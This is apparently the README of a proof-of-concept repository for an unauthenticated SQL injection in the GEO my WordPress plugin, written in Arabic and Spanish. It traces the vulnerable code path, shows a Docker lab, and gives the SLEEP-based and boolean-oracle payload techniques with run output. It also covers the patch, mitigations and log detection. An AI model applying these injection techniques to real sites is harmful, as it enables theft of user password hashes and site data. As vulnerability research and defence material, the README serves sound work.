
PoC عملي لثغرة CVE-2026-52715 (GeoLeak): حقن SQL غير مصادق عليه في GEO my WordPress <= 4.5.5 عبر swlatlng/nelatlng. مختبر Docker + استغلال من نوع time-based/boolean-based + استخراج بيانات بدون فواصل في الـ payload.
إثبات مفهوم (PoC) تعليمي لـ GeoLeak (CVE-2026-52715)، حقن SQL غير مصادق عليه (CVSS 9.3) في إضافة GEO my WordPress <= 4.5.5 لـ WordPress. يتم إقحام المعاملين
swlatlngوnelatlngلحدود الخريطة دون تعقيم في جملة WHERE. مختبر Docker مكتفٍ ذاتيًا + استغلال بتقنيات time-based و boolean-based واستخراج حرفًا بحرف.
CVE-2026-52715 هو حقن SQL (CWE-89) في الدالة gmw_get_locations_within_boundaries_sql() من إضافة GEO my WordPress، ويؤثر على جميع الإصدارات <= 4.5.5 وتم تصحيحه بدءًا من الإصدار 4.5.5.1 (15 يونيو 2026). اكتشفه الباحث alvarodh5 ونُشر عبر Patchstack.
السلسلة المسماة GeoLeak توضح كيف يمكن للمهاجم، انطلاقًا من وصول قراءة فقط إلى أي صفحة عامة تحتوي على shortcode [gmw]، أن:
swlatlng (أو nelatlng) في query string، دون ملفات تعريف الارتباط ودون nonce ودون مصادقة.SLEEP() (time-based blind) تُقيَّم لكل صف من INNER JOIN ضد wp_gmw_locations."total_results":N التي تضمّنها الإضافة نفسها في JSON إعداد الخريطة لاستنتاج الشروط المنطقية (boolean-based blind).explode(',', ...)) باستخدام CASE WHEN و SUBSTRING(x FROM n FOR 1).النتيجة هي قراءة عشوائية لقاعدة بيانات ووردبريس: جدول wp_users (تجزئات كلمات المرور)، خيارات الإعدادات، المفاتيح، وبيانات الأطراف الثالثة المخزنة في الإضافات.
في إثبات المفهوم (PoC) يتم التحقق من الاستخراج الكامل لمخرجات VERSION() من MariaDB باستخدام طلبات GET فقط.
يحتوي هذا المستودع على مواد تعليمية ودفاعية حصرًا.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl و awk للاستغلالdocker-compose.yml)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
معاملات الاستغلال القابلة للتهيئة:
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
الوصول إلى ووردبريس: http://localhost:3080 ببيانات admin/admin. الصفحة التي تحتوي على النموذج القابل للاستغلال: http://localhost:3080/?page_id=5.
ملاحظة: الصف الأولي في
wp_gmw_locationsضروري. يستخدم الاستعلام INNER JOIN ضد هذا الجدول: بدون صفوف لن يُقيَّم WHERE المُحقن ولن ينامSLEEP().
مخرجات فعلية من آخر تشغيل ضد المختبر (14 أغسطس 2026):
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
SQLi no autenticada via swlatlng/nelatlng
Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
Peticion benigna : 0.037000s
Payload SLEEP : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
Condicion TRUE -> total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
تحقق متقاطع مباشرة ضد قاعدة البيانات:
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
ضد الإصدار المُصحح (>= 4.5.5.1) تستجيب مرحلة time-based خلال ميلي ثانية وينتهي إثبات المفهوم (PoC) برسالة [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1).
التفاصيل الكاملة، مع مقتطفات الأكواد والأسطر الدقيقة، في docs/analisis-tecnico.md. النقاط الرئيسية:
gmw_get_locations_within_boundaries_sql() تقحم {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} مباشرة في جملة WHERE (النقاط الأربع قابلة للحقن).gmw_get_form_values() تعالج query string بالكامل عبر parse_str() دون قائمة مسموحات (allowlist).explode(',', $southwest). يستخدم إثبات المفهوم (PoC) CASE WHEN a THEN b ELSE c END بدلاً من IF(a,b,c) و SUBSTRING(x FROM n FOR 1) بدلاً من SUBSTRING(x,n,1).الفرق (diff) الفعلي الكامل في docs/diff-parche-4.5.5.1-gmw-functions.php.diff. بين 4.5.5 و 4.5.5.1 تختلف ثلاثة ملفات فقط (geo-my-wp.php الخاص بالإصدار، readme.txt الخاص بسجل التغييرات، و includes/gmw-functions.php):
gmw_parse_latlng_boundary(): تتطلب جزأين رقميين منتهيين (finite) بالضبط بشرط |lat| <= 90 و |lng| <= 180.gmw_get_form_values() تهمل عبر unset() القيم التي لا تجتاز التحقق.$wpdb->prepare() وعلامات %f.الإصدار الحالي للإضافة: 4.5.5.3 (يوليو 2026)، وهو مُصحح.
swlatlng/nelatlng، أو تصحيح افتراضي (virtual patching) عبر Patchstack وما شابهها.[gmw] العامة تحتاج إلى البحث عبر حدود الخريطة.swlatlng/nelatlng في السجلات.wp_users، فالحقن يسمح بقراءتها."total_results":N-10..1wp_posts.* بالإضافة إلى حقول gmw)؛ error-based غير عملية (wpdb يُكتم الأخطاء).wp_ajax_nopriv_* الثلاثة في الإضافة إما لا تنفذ SQL (في النسخة المجانية) أو محمية بـ nonce. ناقل (vector) الثغرة في النسخة المجانية هو GET الخاص بالنموذج.